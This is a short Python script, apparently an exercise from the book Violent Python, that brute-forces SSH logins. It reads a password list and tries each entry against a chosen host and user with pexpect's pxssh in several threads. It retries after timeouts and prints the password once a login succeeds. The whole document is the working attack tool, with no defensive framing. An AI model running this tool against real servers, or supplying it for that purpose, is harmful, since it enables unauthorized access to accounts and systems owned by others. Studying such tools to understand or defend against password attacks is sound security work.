Violent Python Pxssh暴力破解

# coding=UTF-8
# time: 17-12-28: 上午10:04 
# Author: Xifeng2009

import argparse, time
from threading import *
from pexpect import pxssh


maxConnections = 5
connection_Lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0

def connect(host, user, password, release):

    global Found, Fails
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print("[+] Password Found: "+password)
        Found = True
    except Exception as e:
        if "read_nonblocking" in str(e):
            Fails += 1
            time.sleep(5)
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host, user, password, False)
    finally:
        if release:
            connection_Lock.release()

def main():
    parser = argparse.ArgumentParser("usage %prog -H <target host>"
                                     "-u <user> -F <password list>")
    parser.add_argument('-H',dest='tgtHost',type=str,help='specify target host')
    parser.add_argument('-u',dest='user',type=str,help='specify the user')
    parser.add_argument('-F',dest='passwdFile',type=str,help='specify password file')
    args = parser.parse_args()
    host = args.tgtHost
    user = args.user
    passwdFile = args.passwdFile

    if host == None or passwdFile == None or user == None:
        print(parser.usage)
    else:
        fn = open(passwdFile, 'r')
        for line in fn.readlines():
            if Found:
                print("[*] Exiting: Password Found")
            elif Fails > 5:
                print("[!] Exiting: Too Many Socket Timeouts")
            else:
                connection_Lock.acquire()
                password = line.strip('\r').strip('\n')
                print("[-] Testing: "+str(password))
                t = Thread(target=connect, args=(host,user,password,True))
                child = t.start()

if __name__ == '__main__':
    main()